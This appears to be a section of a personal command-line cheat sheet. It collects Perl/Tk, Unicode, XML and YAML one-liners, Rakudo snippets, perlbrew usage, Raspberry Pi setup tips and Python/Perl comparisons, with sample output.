perl -MTk -le '$b=tkinit->Button(-command => \&cb)->pack; $b->bind("<ButtonRelease-3>", \&cb); sub cb {print "\nargs: @_"; print "->W" . $Tk::event->W; print "widget " . $Tk::widget}; MainLoop'
# Find out value of keypress
perl -MTk -le 'tkinit->Entry->pack->bind("<KeyPress>", sub{$e=$Tk::event; print $e->K . " " . $e->N}); MainLoop'
#############################################################
## Perl Modules - Tk (Canvas)
#############################################################
# Take a canvas and create a postscript then a pdf
perl -MTk -le '$w=tkinit; $c=$w->Canvas->pack; $c->createLine(20,20,200,200,200,20); $b=$w->Button(-text => "Save", -command => sub{$c->postscript(-file => "tk.ps")})->pack; MainLoop'
ps2pdf tk.ps tk.pdf
xpdf tk.pdf
#############################################################
## Perl Modules - Tk (Tags)
#############################################################
# Text tags example (PTk)
perl -MTk -le '$t=tkinit->Text->pack; $t->tagConfigure("bold", -font => "Courier 24 bold"); $t->insert("end", "Normal Text\n"); $t->insert("end", "Bold Text\n", "bold"); MainLoop'
# Make select text bold (PTk)
perl -MTk -le '$w=tkinit; $t=$w->Text->pack; $t->tagConfigure("bold", -font => "bold"); $t->insert("end", "A Bunch of text"); $w->Button(-text => "BOLD", -command => sub{$t->tagAdd("bold", "sel.first", "sel.last")} )->pack; MainLoop'
# Check if a selection exists (PTk)
perl -MTk -le '$w=tkinit; $t=$w->Text->pack; $t->tagConfigure("bold", -font => "bold"); $t->insert("end", "A Bunch of text"); $w->Button(-text => "BOLD", -command => sub{$t->tagAdd("bold", "sel.first", "sel.last") if $t->tagRanges("sel")} )->pack; MainLoop'
#############################################################
## Perl Modules - Tk (Appendix B)
#############################################################
# Adjuster example (PTk,Appendix B)
perl -MTk -le '$w=tkinit; %def=qw/-fill both -expand 1/; $b=$w->Button(-text => "Button A")->pack(%def); $w->Adjuster(-side => "top", -widget => $b)->pack(qw/-fill x/); $w->Button(-text => "Button B")->pack(%def); MainLoop'
# Balloon Example (Ptk,Appendix B)
perl -MTk -le '$w=tkinit; $btn=$w->Button(-text => "Button A")->pack; $bl=$w->Balloon; $bl->attach($btn, -msg => "click me"); MainLoop'
# Bitmap Example (Ptk,Appendix B)
# BrowseEntry Example (Ptk,Appendix B)
#
# Simple
perl -MTk -MTk::BrowseEntry -le 'tkinit->BrowseEntry(-label => "label", -variable => \$v, -choices => [1..10], -browsecmd => sub{print "Clicked $v"})->pack; MainLoop'
#
# Insert additional values
perl -MTk -MTk::BrowseEntry -le '$b=tkinit->BrowseEntry(-label => "label", -variable => \$v, -choices => [1..10], -browsecmd => sub{print "Clicked $v"})->pack; $b->insert("end",20,30); MainLoop'
# Button Example (Ptk,Appendix B)
# Canvas Example (Ptk,Appendix B)
#
# Simple useless canvas
perl -MTk -le '$c=tkinit->Scrolled("Canvas")->pack; MainLoop'
#
# Click in canvas window will show x,y coordinates
perl -MTk -le 'sub print_xy { my($c,$x,$y)=@_; print "(x,y) = @{[ $c->canvasx($x) ]}, @{[ $c->canvasy($y) ]} " } $c=tkinit->Scrolled("Canvas")->pack; $c->Subwidget("canvas")->CanvasBind("<Button-1>", [ \&print_xy, Ev("x"), Ev("y") ]); MainLoop'
# ColorEditor Example (Ptk,Appendix B)
# Dialog Example (Ptk,Appendix B)
# DirTree Example (Ptk,Appendix B)
# Entry Example (Ptk,Appendix B)
# ErrorDialog Example (Ptk,Appendix B)
# FileSelect Example (Ptk,Appendix B)
# Frame Example (Ptk,Appendix B)
# HList Example (Ptk,Appendix B)
perl -MTk -MTk::HList -le '$h=tkinit->HList(-indent => 20)->pack; $h->add(qw/A -text a/); $h->add(qw/A.B -text a->b/); MainLoop'
# Label Example (Ptk,Appendix B)
# LabEntry Example (Ptk,Appendix B)
# Learn how to use Text indices (demo)
perl -MTk -le '%def=qw/-side left/; $mw=tkinit; $t=$mw->Text->pack; ($i,$d)=map{my $v; $mw->LabEntry(-label => "$_:", -textvariable => \$v, -labelPack => [%def])->pack(%def); \$v} qw/Index Data/; $mw->Button(-text => "INSERT", -command => sub{$t->insert($$i,eval qq("$$d"))})->pack(%def, -expand => 1, -fill => "x"); $$i="1.0"; $$d="A1\\n"; MainLoop
# LabFrame Example (Ptk,Appendix B)
# ListBox Example (Ptk,Appendix B)
# MainWindow Example (Ptk,Appendix B)
# Menu Example (Ptk,Appendix B)
# MenuButton Example (Ptk,Appendix B)
# Message Example (Ptk,Appendix B)
# NoteBook Example (Ptk,Appendix B)
# Optionmenu Example (Ptk,Appendix B)
# Pane Example (Ptk,Appendix B)
# Photo Example (Ptk,Appendix B)
# ProgressBar Example (Ptk,Appendix B)
# Radiobutton Example (Ptk,Appendix B)
# ROText Example (Ptk,Appendix B)
# Scale Example (Ptk,Appendix B)
# Table Example (Ptk,Appendix B)
# Text Example (Ptk,Appendix B)
# TextUndo Example (Ptk,Appendix B)
# Tiler Example (Ptk,Appendix B)
# TList Example (Ptk,Appendix B)
# TopLevel Example (Ptk,Appendix B)
# Tree Example (Ptk,Appendix B)
#############################################################
## Perl Modules - Tk::TextString, Tk::TextStrings
#############################################################
# Tie Text widget to store input as an entry or label would in "-variable" (PTk)
perl -MTk -le '{package P; sub TIESCALAR{my($c,$o)=@_; bless \$o,$c} sub FETCH{my($s)=@_; $$s->get("1.0", "end")} sub STORE{my($s,$v)=@_; $$s->delete("1.0", "end"); $$s->insert("end", $v)} } $mw=MainWindow->new; $t=$mw->Text->pack; tie $v, "P", $t; $b=$mw->Button(-command => sub{print "[$v]"})->pack; MainLoop'
# Tie Text widget to -variable. Set value with button or entry (PTk)
perl -MTk -le '{package P; sub TIESCALAR{my($c,$o)=@_; bless \$o,$c} sub FETCH{my($s)=@_; $$s->get("1.0", "end")} sub STORE{my($s,$v)=@_; $$s->delete("1.0", "end"); $$s->insert("end", $v)} } $mw=MainWindow->new; $t=$mw->Text->pack; tie $v, "P", $t; $b=$mw->Button(-command => sub{print "[$v]"})->pack; $mw->Button(-command => sub{$v="ABC"})->pack; $mw->Entry(-textvariable => \$v)->pack; MainLoop'
# Example of new TextString Mega-Widget (PTk,tie,user module)
perl -MTk -MTk::TextString -w -le '$mw=MainWindow->new; $mw->TextString(-variable => \$v)->pack; $mw->Entry(-textvariable => \$v)->pack(-side => "left"); $mw->Button(-command => sub{print "[$v]"})->pack(-side => "left"); MainLoop'
# Scolled multiple text boxes through multiple -variables (PTk,tie,user module)
perl -MTk -MTk::TextString -w -le '%d=qw(-side left); $mw=MainWindow->new; @f=map{$mw->Frame->pack} 1..3; @t=map{my $v; $f[0]->TextString(-height => 2, -variable => \$v)->pack(%d); \$v} @f; $f[1]->Entry(-textvariable => $_)->pack(%d) for @t; $f[2]->Button(-command => [sub{my($r)=@_; print $$r},$_])->pack(%d) for @t; MainLoop'
# Scolled multiple text boxes through single -variable (PTk,tie,user module)
perl -MTk -MTk::TextStrings -w -le '%d=qw(-side left); $mw=MainWindow->new; @f=map{$mw->Frame->pack} 1..3; @t=map{$f[0]->TextStrings(-height => 2, -variable => \$v)->pack(%d); \$v} @f; $f[1]->Entry(-textvariable => $_)->pack(%d) for @t; $f[2]->Button(-command => [sub{my($r)=@_; print $$r},$_])->pack(%d) for @t; MainLoop'
# Can text widget and entry widget are synced (PTk, tie,user module)
perl -MTk -MTk::TextStrings -le '$mw=MainWindow->new; $mw->TextStrings(-height => 2, -variable => \$v)->pack; $mw->Entry(-textvariable => \$v)->pack; MainLoop'
#############################################################
## Perl Modules - Try::Tiny
#############################################################
# Simple approach to catching errors
# Try Catch return are subroutine based. Below return unexpectedly (at first) "BBB"
# WARNING: It has issues. Unpredictable syntax
perl -MTry::Tiny -lE 'sub try_me{ try{1/0}catch{say "Caught [$@]"; return "AAA"}; return "BBB" } $v=try_me; say $v'
# A better try/catch approach (only on lnxbr42)
# WARNING: It has issues. Highly dependent upon Perl changes
perl -MTryCatch -lE 'sub try_me{ try{1/0}catch{say "Caught [$@]"; return "AAA"}; return "BBB" } $v=try_me; say $v'
#############################################################
## Perl Modules - Unicode::Normalize
#############################################################
# Compose or decompose unicode strings.
perl -Mcharnames=:full -CO -MUnicode::Normalize -E 'say charnames::viacode ord for split //, NFD "\N{LATIN CAPITAL LETTER A WITH ACUTE}"'
# LATIN CAPITAL LETTER A
# COMBINING ACUTE ACCENT
# Get grapheme clusters.
perl -MEncode -MUnicode::Normalize -E 'use open qw(:std :utf8); say for map{ /(\X)/g } NFD "\x{61}\x{301}"'
á
perl -MEncode -MUnicode::Normalize -E 'use open qw(:std :utf8); say for map{ /(.)/g } NFD "\x{61}\x{301}"'
a
# Get individual decomposed characters.
perl -MEncode -MUnicode::Normalize -E 'use open qw(:std :utf8); say ord for map{ /(.)/g } NFD "\x{61}\x{301}"x2'
97
769
97
769
# LATIN SMALL LETTER A U+61 0x61 97
# COMBINING ACUTE ACCENT U+301 0x301 769
# Use unpack to get unicode codepoints.
perl -MEncode -MUnicode::Normalize -E 'use open qw(:std :utf8); say for unpack "W*",NFD "\x{61}\x{301}"x2'
97
769
97
769
perl -MEncode -MUnicode::Normalize -E 'use open qw(:std :utf8); say for unpack "W*",NFC "\x{61}\x{301}"x2'
225
225
#############################################################
## Perl Modules - utf8
#############################################################
# decode then encode.
perl -MDevel::Peek -E 'my $v = "äöë"; sub c { say "#################"; say "is_utf8: " . utf8::is_utf8($v); say "valid: " . utf8::valid($v); Dump $v } c; utf8::decode($v); c; utf8::encode($v); c'
#################
is_utf8:
valid: 1
SV = PV(0xb400007634f7a0b0) at 0xb400007634f89f98
REFCNT = 2
FLAGS = (POK,IsCOW,pPOK)
PV = 0xb4000074f4f80650 "\xC3\xA4\xC3\xB6\xC3\xAB"\0
CUR = 6
LEN = 10
COW_REFCNT = 1
#################
is_utf8: 1
valid: 1
SV = PV(0xb400007634f7a0b0) at 0xb400007634f89f98
REFCNT = 2
FLAGS = (POK,pPOK,UTF8)
PV = 0xb4000074f4f7fd30 "\xC3\xA4\xC3\xB6\xC3\xAB"\0 [UTF8 "\x{e4}\x{f6}\x{eb}"]
CUR = 6
LEN = 10
#################
is_utf8:
valid: 1
SV = PV(0xb400007634f7a0b0) at 0xb400007634f89f98
REFCNT = 2
FLAGS = (POK,pPOK)
PV = 0xb4000074f4f7fd30 "\xC3\xA4\xC3\xB6\xC3\xAB"\0
CUR = 6
LEN = 10
# encode then decode.
perl -MDevel::Peek -E 'my $v = "äöë"; sub c { say "#################"; say "is_utf8: " . utf8::is_utf8($v); say "valid: " . utf8::valid($v); Dump $v } c; utf8::encode($v); c; utf8::decode($v); c'
#################
is_utf8:
valid: 1
SV = PV(0xb400007c1f6780e0) at 0xb400007c1f684f98
REFCNT = 2
FLAGS = (POK,IsCOW,pPOK)
PV = 0xb400007adf667750 "\xC3\xA4\xC3\xB6\xC3\xAB"\0
CUR = 6
LEN = 10
COW_REFCNT = 1
#################
is_utf8:
valid: 1
SV = PV(0xb400007c1f6780e0) at 0xb400007c1f684f98
REFCNT = 2
FLAGS = (POK,pPOK)
PV = 0xb400007aef66c2e0 "\xC3\x83\xC2\xA4\xC3\x83\xC2\xB6\xC3\x83\xC2\xAB"\0
CUR = 12
LEN = 24
#################
is_utf8: 1
valid: 1
SV = PV(0xb400007c1f6780e0) at 0xb400007c1f684f98
REFCNT = 2
FLAGS = (POK,pPOK,UTF8)
PV = 0xb400007aef66c2e0 "\xC3\x83\xC2\xA4\xC3\x83\xC2\xB6\xC3\x83\xC2\xAB"\0 [UTF8 "\x{c3}\x{a4}\x{c3}\x{b6}\x{c3}\x{ab}"]
CUR = 12
LEN = 24
# upgrade then downgrade.
perl -MDevel::Peek -E 'my $v = "äöë"; sub c { say "#################"; say "is_utf8: " . utf8::is_utf8($v); say "valid: " . utf8::valid($v); Dump $v } c; utf8::upgrade($v); c; utf8::downgrade($v); c'
#################
is_utf8:
valid: 1
SV = PV(0xb4000076231fb0b0) at 0xb400007623207f68
REFCNT = 2
FLAGS = (POK,IsCOW,pPOK)
PV = 0xb4000074e31f46f0 "\xC3\xA4\xC3\xB6\xC3\xAB"\0
CUR = 6
LEN = 10
COW_REFCNT = 1
#################
is_utf8: 1
valid: 1
SV = PV(0xb4000076231fb0b0) at 0xb400007623207f68
REFCNT = 2
FLAGS = (POK,pPOK,UTF8)
PV = 0xb4000074f31f6910 "\xC3\x83\xC2\xA4\xC3\x83\xC2\xB6\xC3\x83\xC2\xAB"\0 [UTF8 "\x{c3}\x{a4}\x{c3}\x{b6}\x{c3}\x{ab}"]
CUR = 12
LEN = 24
#################
is_utf8:
valid: 1
SV = PV(0xb4000076231fb0b0) at 0xb400007623207f68
REFCNT = 2
FLAGS = (POK,pPOK)
PV = 0xb4000074f31f6910 "\xC3\xA4\xC3\xB6\xC3\xAB"\0
CUR = 6
LEN = 24
# downgrade then upgrade.
perl -MDevel::Peek -E 'my $v = "äöë"; sub c { say "#################"; say "is_utf8: " . utf8::is_utf8($v); say "valid: " . utf8::valid($v); Dump $v } c; utf8::downgrade($v); c; utf8::upgrade($v); c'
#################
is_utf8:
valid: 1
SV = PV(0xb400007c578710d0) at 0xb400007c5787ef98
REFCNT = 2
FLAGS = (POK,IsCOW,pPOK)
PV = 0xb400007b17878890 "\xC3\xA4\xC3\xB6\xC3\xAB"\0
CUR = 6
LEN = 10
COW_REFCNT = 1
#################
is_utf8:
valid: 1
SV = PV(0xb400007c578710d0) at 0xb400007c5787ef98
REFCNT = 2
FLAGS = (POK,IsCOW,pPOK)
PV = 0xb400007b17878890 "\xC3\xA4\xC3\xB6\xC3\xAB"\0
CUR = 6
LEN = 10
COW_REFCNT = 1
#################
is_utf8: 1
valid: 1
SV = PV(0xb400007c578710d0) at 0xb400007c5787ef98
REFCNT = 2
FLAGS = (POK,pPOK,UTF8)
PV = 0xb400007b278693d0 "\xC3\x83\xC2\xA4\xC3\x83\xC2\xB6\xC3\x83\xC2\xAB"\0 [UTF8 "\x{c3}\x{a4}\x{c3}\x{b6}\x{c3}\x{ab}"]
CUR = 12
LEN = 24
# Playing with utf8
perl -MEncode -C -MDevel::Peek -E '$v = "\x{a7}"; Dump $v; say $v; $v = encode("UTF-8", $v); Dump $v; say $v'
#
# say hex UTF8
# \xa7 # Input
# § \xA7 # Dump
# § \xC2\xA7 # encode("UTF-8",$v)
# § \xC2\xA7 # utf8::encode($v)
# � \xEF\xBF\xBD \x{fffd} # decode("UTF-8",$v)
# § \xA7 # utf8::decode($v)
# § \xC2\xA7 \xA7 # utf8::upgrade($v)
# § \xA7 # utf8::downgrade($v)
# say hex UTF8
# \xC2\XA7 # Input
# § \xC2\xA7 # Dump
# ç \xC3\x82\xC2\xA7 # encode("UTF-8",$v)
# ç \xC3\x82\xC2\xA7 # utf8::encode($v)
# § \xC2\xA7 \xA7 # decode("UTF-8",$v)
# § \xC2\xA7 \xA7 # utf8::decode($v)
# § \xC3\x82\xC2\xA7 \xC2\xA7 # utf8::upgrade($v)
# § \xC2\xA7 # utf8::downgrade($v)
#############################################################
## Perl Modules - XML::LibXML
#############################################################
# Parse and find specific nodes/elements in an xml file
# "//Page" means to look recursively down for a "Page" element
perl -MXML::LibXML -le '$d=XML::LibXML->load_xml(location => "my.xml"); print "$_\n\n" for $d->findnodes("//Page")'
# Parse xml file. Find all "PageTable" elements
# Select all PageTableProperty inside.
# Print out the value of the PageTableName (Use @ to find an attribute instead of a value)
# Print out the value (using ->to_literal)
perl -MXML::LibXML -le '$d=XML::LibXML->load_xml(location => "my.xml"); for($d->findnodes("//PageTable")){ ($p)=$_->findnodes("PageTableProperty"); print map $_->to_literal, $p->findnodes("\@PageTableName") }' | head
# Parse xml file. Find all "PageTable" elements
# findvalue is like findnode and then to_literal. Use it when you expect a single node
perl -MXML::LibXML -le '$d=XML::LibXML->load_xml(location => "my.xml"); for($d->findnodes("//PageTable")){ ($p)=$_->findnodes("PageTableProperty"); print $p->findvalue("\@PageTableName") }'
#
# Same thing but using getAttribute() DOM method.
perl -MXML::LibXML -le '$d=XML::LibXML->load_xml(location => "my.xml"); for($d->findnodes("//PageTable")){ ($p)=$_->findnodes("./PageTableProperty"); print $p->getAttribute("PageTableName") }'
#
# Can also use the tied hash accessing approach $p->{ATTRIBUTE}
perl -MXML::LibXML -le '$d=XML::LibXML->load_xml(location => "my.xml"); for($d->findnodes("//PageTable")){ ($p)=$_->findnodes("PageTableProperty"); print $p->{PageTableName} }'
# Parse xml file. Find all "PageTable" elements
# Print only the actuator page
perl -MXML::LibXML -le '$d=XML::LibXML->load_xml(location => "my.xml"); for($d->findnodes("//PageTable")){ ($p)=$_->findnodes("./PageTableProperty"); $v=$p->findvalue("\@PageTableName"); print if $v eq "ACTUATOR" }'
# Process HTML using XML::LibXML
# Does not load badly formated files without these options:
# recover
# suppress_errors
perl -MXML::LibXML -le '$d=XML::LibXML->load_html(location => "index.html", recover => 1, suppress_errors => 1); print $d'
# XML Process big files. Save memory
perl -MXML::LibXML::Reader -le '$d=XML::LibXML::Reader->new(location => "xml"); printf "%-10s %-10s %-10s %-10s\n", $d->nodeType, $d->depth, $d->name, $d->getAttribute("code") while $d->read'
# Pull out parts of of a list
perl -MXML::LibXML -le '$d=XML::LibXML->load_html(location => "OSRS", recover => 1, suppress_errors => 1); @t = $d->findnodes(q(//table[@class="wikitable infobox"])); @t = grep { $_->findvalue(q(tr[th/a/@title="Members"]/td)) =~ /No/} @t; print for @t'
# Issues with XML::LibXML. Cannot parse control characters (except \n or \r)
perl -MXML::LibXML -E 'my $v = XML::LibXML->load_xml( string => "<div>\f</div>")'
#
# HTML::Entities does not help.
perl -MXML::LibXML -MHTML::Entities -E 'my $v = XML::LibXML->load_xml( string => encode_entities("<div>\f</div>", "\f"))'
#
# Same:
perl -MXML::LibXML -E 'my $v = XML::LibXML->load_xml( string => "<div></div>")'
#############################################################
## Perl Modules - XML::Simple
#############################################################
# Read xml file and print out the structure
perl -MXML::Simple -MData::Dumper -le '$xs=XML::Simple->new; print Dumper($xs->XMLin("embraer.xml"))'
# Print the structure of an xml file while reading the input
perl -MXML::Simple -MData::Dumper -le '$d=XML::Simple::XMLin($ARGV[0]//die"\nSyntax: tool xmlfile\n\n"); print Dumper($d)'
# XML::Simple example
perl -Me -MXML::Simple -e 'my $xml = XML::Simple->new; say $xml->XMLout( "hey", AttrIndent => 1, NoAttr => 1, KeyAttr => [], RootName => "RootElement" )'
# Why use XML::Simple AND XML::LibXML together
perl -Me -MXML::Simple -MXML::LibXML -e 'my $x = XML::Simple->new->XMLout( "hey\f", AttrIndent => 1, NoAttr => 1, KeyAttr => [], RootName => "RootElement" ); say(XML::LibXML->load_xml( string => $x))'
:1: parser error : PCDATA invalid Char value 12
<RootElement>hey
</RootElement>
^
perl -Me -MXML::Simple -MXML::LibXML -e 'my $x = XML::Simple->new->XMLout( "hey\f", AttrIndent => 1, NoAttr => 1, KeyAttr => [], RootName => "RootElement" ); say(XML::LibXML->load_xml( string => "abc"))'
#############################################################
## Perl Modules - YAML::XS
#############################################################
# Simple example of converting between yaml and a data structure.
perl -MYAML::XS -E '$yml = Dump [1..3]; $arr = Load $yml'
#############################################################
## Perl Book - Learning Perl Examples
#############################################################
# Exercise 2.1 (Learning Perl)
perl -le '$r=12.5; $pi=3.141592654; $c=2*$r*$pi; print $c'
# Exercise 2.2 (Learning Perl)
perl -le 'print "Enter radius: "; $r=<STDIN>; $pi=3.141592654; $c=2*$r*$pi; print $c'
# Exercise 2.3 (Learning Perl)
perl -le 'print "Enter radius: "; $r=<STDIN>; if($r < 0){ $r = 0 } $pi=3.141592654; $c=2*$r*$pi; print $c'
# Exercise 2.4 (Learning Perl)
perl -le 'print "Enter Num1: "; chomp($num1=<STDIN>); print "Enter Num2: "; chomp($num2=<STDIN>); print "$num1 * $num2 = ", ($num1 * $num2)'
# Exercise 2.5 (Learning Perl)
perl -le 'print "Enter String: "; chomp($string=<STDIN>); print "Enter num: "; chomp($num=<STDIN>); print $string x $num'
#############################################################
## Perl6 Programs (Rakudo)
#############################################################
# Setup/install/compile rakudo (perl6)
# 1. Get Latest
rm -f ~/rakudo/setup/index.html*
read -sp "Password: " PASSWORD
echo "$PASSWORD" | perl -ple 's/(\W)/ sprintf "%%%x", ord($1) /eg'
wget http://rakudo.org/downloads/star/ -P ~/rakudo/setup
ls ~/rakudo/setup/index.html | perl -MHTML::Tree -lne 'print HTML::Tree->new_from_file($_)->look_down(class => "ext-gz")->attr("href")'
basename `$LATEST`
# Setup/install/compile rakudo (perl6)
# 2. Download
read -sp "Password: " PASSWORD
echo "$PASSWORD" | perl -ple 's/(\W)/ sprintf "%%%x", ord($1) /eg'
wget http://rakudo.org/downloads/star/$LATEST -P ~/rakudo/setup
# Setup/install/compile rakudo (perl6)
# 3. Compile
tar -xvzf rakudo.tar.gz
cd rakudo
perl Configure.pl --backend=moar --gen-moar
make
make install
# Rational numbers issues with languages
ruby -e 'puts 0.1 + 0.2 == 0.3'
python -c 'print 0.1 + 0.2 == 0.3'
perl -E 'say 0.1 + 0.2 == 0.3 ? "true" : "false"'
perl6 -e 'say 0.1 + 0.2 == 0.3'
# Find out ip address of current bench
ip addr
# see all methods of an object
perl6 -e 'say "hi there".^methods'
# Generate fibonacci numbers
perl6 -e 'say (1,1,->$a,$b {$a+$b}...*)[^8]'
perl6 -e 'say (1,1,*+*...*)[^8]'
# Fibonacci numbers to at least 40
perl6 -e 'say (1,1, *+* ... * > 40)'
# Even fibonacci numbers up to 4 million
perl6 -e 'say grep * %% 2, (1,1, *+* ... ^ * > 4_000_000)'
# Sum of even fibonacci numbers up to 4 million
perl6 -e 'say [+] grep * %% 2, (1,1, *+* ... ^ * > 4_000_000)'
# Find the summation of numbers
perl6 -e 'say [+] 1..5'
# Find the summation of numbers (with intermediate steps)
perl6 -e 'say [\+] 1..5'
# Find the factorial of numbers
perl6 -e 'say [*] 1..5'
# Find the factorial of numbers (with intermediate steps)
perl6 -e 'say [\*] 1..5'
# Create factorial operator (!)
perl6 -e 'sub postfix:<!> {[*] 1..$^n}; say 5!'
# Create :=: operator (for sorting)
# Use rakudo-star-2017.01 for the interactive shell
perl6 -e 'sub infix:<:=:> ($a is rw, $b is rw) {($a,$b) = ($b,$a)}; my @a=(6,1,5); @a[0] :=: @a[1]; dd @a'
# Return first match (regex)
perl6 -e 'say ~$/ if "abc:def" ~~ /\w+/'
# Return all matches (regex)
perl6 -e 'say ~$/ if "abc:def" ~~ m:g/\w+/'
# Find largest prime factor (of n)
perl6 -e 'my $n=600_475_143; for 2,3,*+2...* {while $n %% $_ {$n div= $_; .say and exit if $_ > $n}}'
# Change named constructor into positional
perl6 -e 'class Point3D{has $.x; has $.y; has $!z; submethod BUILD(:$!x,:$!y,:$!z){say "Init"}; method get{$!x,$!y,$!z} }; my $a = Point3D.new(x=>23,y=>42,z=>2); .say for $a.get'
# Redefine/Create constructor for method new
perl6 -e 'class Point2D{has Numeric $.x; has Numeric $.y; method new($x,$y){$.bless(x=>$x,y=>$y)}; method get{$.x,$.y} }; my $a = Point2D.new(3,4); .say for $a.get'
# Run the debugger on a script
perl6debug sqrt.pl6
# Run the debugger on a one-liner
perl6debug -e '.say for 1..10'
# Debug a regular expression
perl6debug -e '"abc" ~~ /a(.+)c/
# Compare perl6 speeds (rakudo)
cd <RAKUDO_DIR>
perl6=`ls */perl6`
for p in $perl6 perl; do echo; echo "---------------------------------"; echo "$p"; time $p -e 'print join " ", grep /0/, (1..100)'; done
for p in $perl6 perl; do echo; echo "---------------------------------"; echo "$p"; time $p -e 'print 0.1 + 0.2 == 0.3'; done
echo
#############################################################
## Perlbrew
#############################################################
# Restore original perl environment
# https://stackoverflow.com/questions/25188575/switching-to-the-system-perl-using-perlbrew
perlbrew off # only for this session (terminal)
perlbrew switch-off # permanently
# Using the shebang line with perlbrew (-S to pass in args)
#!/usr/bin/env perl
#!/usr/bin/env -S perl -l
# Install with thread support.
perlbrew install perl-5.38.2 --thread
# Install multiple versions with and without thread support.
perlbrew install-multiple 5.38.2 blead --both thread
perlbrew switch perl-5.38.2-thread-multi
perl -V:'use.*thread.*'
# Upgrade current perl version.
perlbrew upgrade-perl
# Upgrade perlbrew
perlbrew self-upgrade
perlbrew version
# Upgrade cpanm
perlbrew install-cpanm
# Cleanup downloaded files.
perlbrew clean
#############################################################
## Performance Testing - General
#############################################################
# Performance Testing - Ensures the system meets performance criteria like speed and responsiveness.
# Load Testing - Checks system behavior under expected user load.
# Stress Testing - Determines the system's breaking point by pushing it beyond normal capacity.
# Scalability Testing - Assesses how well the system scales with increased workload.
# Spike Testing - Examines how the system handles sudden spikes in load.
# Volume Testing - Verifies system performance with varying amounts of data.
#############################################################
## PI - General
#############################################################
# No password when entering sudo commands (Linux,pi,debug)
vi /etc/sudoers
# Add this to bottom
pi ALL=(ALL) NOPASSWD:ALL
# No password when entering sudo commands (Linux,pi,debug)
sudo usermod -a -G GROUP_NAME USER
#
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) NOPASSWD:ALL
# autostart file location (pi)
sudo mount -o remount,rw /
vi /home/pi/.config/lxsession/LXDE-pi/autostart
sudo reboot
# Unable to write to /boot/config.txt (pi)
# Due to read only file system
# May need to mount a couple times (until "mount | grep boot" shows "rw")
sudo mount -o remount,rw /
sudo touch /forcefsck
sudo reboot
#############################################################
## PI - Configuration
#############################################################
# Get name of raspberry pi
cat /sys/firmware/devicetree/base/model
Raspberry Pi 3 Model B Plus Rev 1.3
# Check pi revision
cat /proc/cpuinfo
Code Model Revision RAM Manufacturer
a020d3 3B+ 1.3 1GB Sony UK
#
# Compare to:
https://www.raspberrypi.org/documentation/hardware/raspberrypi/revision-codes/README.md
# Find out the total on a linux machine (pi)
local ram=$(\grep MemTotal /proc/meminfo | perl -lne '($kb)=/(\d+)/; printf "%0.2fGB", $kb/1024/1024')
#############################################################
## PI - Network Interface
#############################################################
# Turn interface card off and on. (pi)
# Useful in cases where connection needs to be reset.
sudo ifconfig eth0 down && sudo ifconfig eth0 up
# Add a static IP address in Linux (pi,debug,Workarounds)
# Workaround for when DHCP does not work with the firewall
su # super user mode
mount -o remount,rw / # mount the filesystem
vi /etc/network/interfaces # update interfaces
auto eth0 # Add these lines
iface eth0 inet static
address 172.17.17.10
netmask 255.255.255.0
gateway 172.17.17.1
/etc/init.d/networking restart # restart the service
vi ~/webpage.sh
#IP=$(dhcpcd --dumplease eth0 | grep routers | cut -d\' -f2)
IP=172.17.17.1
reboot
#
The different keywords have the following meaning: (pi,debug,interfaces)
auto: the interface should be configured during boot time.
iface : interface
inet: interface uses TCP/IP networking.
#############################################################
## PI - Options
#############################################################
# Reduce blinking (pi)
sudo vi /boot/config.txt
/ hdmi_mode=82 # Original
# https://elinux.org/RPiconfig
82 1080p 60Hz Original
83 1600x900 Reduced blanking. Too small. Must scroll, plus keyboard is mostly gone)
84 2048x1152 Reduced blanking. Double size. Unreadable
85 720p 60Hz Good. But need to scroll
# Smart toggle (enable/disable) mouse cursor (pi)
# Remove/add "-nocursor" to this line:
# MUST first mount / then restart
sudo mount -o remount,rw /
sudo vi /etc/lightdm/lightdm.conf
/ xserver-command=X -nocursor
sudo reboot
#############################################################
## PI - Shortcuts
#############################################################
# Open Terminal on Linux (pi)
Control + Alt + T
# Maximize terminal window on Linux (debug)
Control + Alt + Up
# Switch between windows/terminal in Rasberry Pi (pi)
Alt + Tab
# Force a hard reboot that may cause a "Connection Reset by Peer" Error
sudo reboot -f
Alt + Druck + b
# Get control back of linux, save data and reboot (stuck,terminal)
#
# 1. Hold down the Alt and SysRq (Print Screen) keys.
# 2. While holding those down, type the following keys in order, several seconds apart: R E I S U B
# 3. Computer should reboot.
# unRaw (take control of keyboard back from X),
# tErminate (send SIGTERM to all processes, allowing them to terminate gracefully),
# kIll (send SIGKILL to all processes, forcing them to terminate immediately),
# Sync (flush data to disk),
# Unmount (remount all filesystems read-only),
# reBoot.
#############################################################
## PostgreSQL (psql)
#############################################################
# Install psql
sudo apt install postgresql postgresql-contrib postgresql-server-dev-13 gcc
sudo apt-get install libdbd-pg-perl
cpan DBD::Pg
#############################################################
## Powershell
#############################################################
# Regular Expression Named Capture in Powershell
" dev master * release/2.00" -match "release/(?<MAJOR>\d+)\.(?<MINOR>\d+)"
echo $Matches
echo $Matches.MAJOR
echo $Matches.MINOR
#############################################################
## Python General
#############################################################
# Zen of Python (motto)
python -c 'import this'
# The Zen of Python, by Tim Peters
#
Beautiful is better than ugly.
Explicit is better than implicit.
Simple is better than complex.
Complex is better than complicated.
Flat is better than nested.
Sparse is better than dense.
Readability counts.
Special cases aren't special enough to break the rules.
Although practicality beats purity.
Errors should never pass silently.
Unless explicitly silenced.
In the face of ambiguity, refuse the temptation to guess.
There should be one-- and preferably only one --obvious way to do it.
Although that way may not be obvious at first unless you're Dutch.
Now is better than never.
Although never is often better than *right* now.
If the implementation is hard to explain, it's a bad idea.
If the implementation is easy to explain, it may be a good idea.
Namespaces are one honking great idea -- let's do more of those
#############################################################
## Python Compare
#############################################################
# Increment a list of numbers (compare)
python -c 'L=map((lambda x:x+10),[1,2,3,4]); print L'
perl -le '@L=map{$_+10}(1,2,3,4); print "@L"'
perl -le '@L=map{$_+10} 1,2,3,4; print "@L"'
perl -le '@L=map{$_+10} 1..4; print "@L"'
# Get the ordinal values of a string (compare)
python -c 'res=list(map(ord,"spam")); print res'
python -c 'res=[ord(x) for x in "spam"]; print res'
perl -le '@L=map ord, split "", "spam"; print "@L" '
perl -le '@L=map{ord} split "", "spam"; print "@L" '
# Square all numbers in a list (compare)
python -c 'A=list(map((lambda x: x**2), range(10))); print A'
python -c 'A=[x**2 for x in range(10)]; print A'
perl -le '@A=map{$_**2}0..9; print "@A"'
# Square all even numbers
python -c 'A=list(map((lambda x: x**2), filter((lambda x: x%2 == 0), range(10)))); print A'
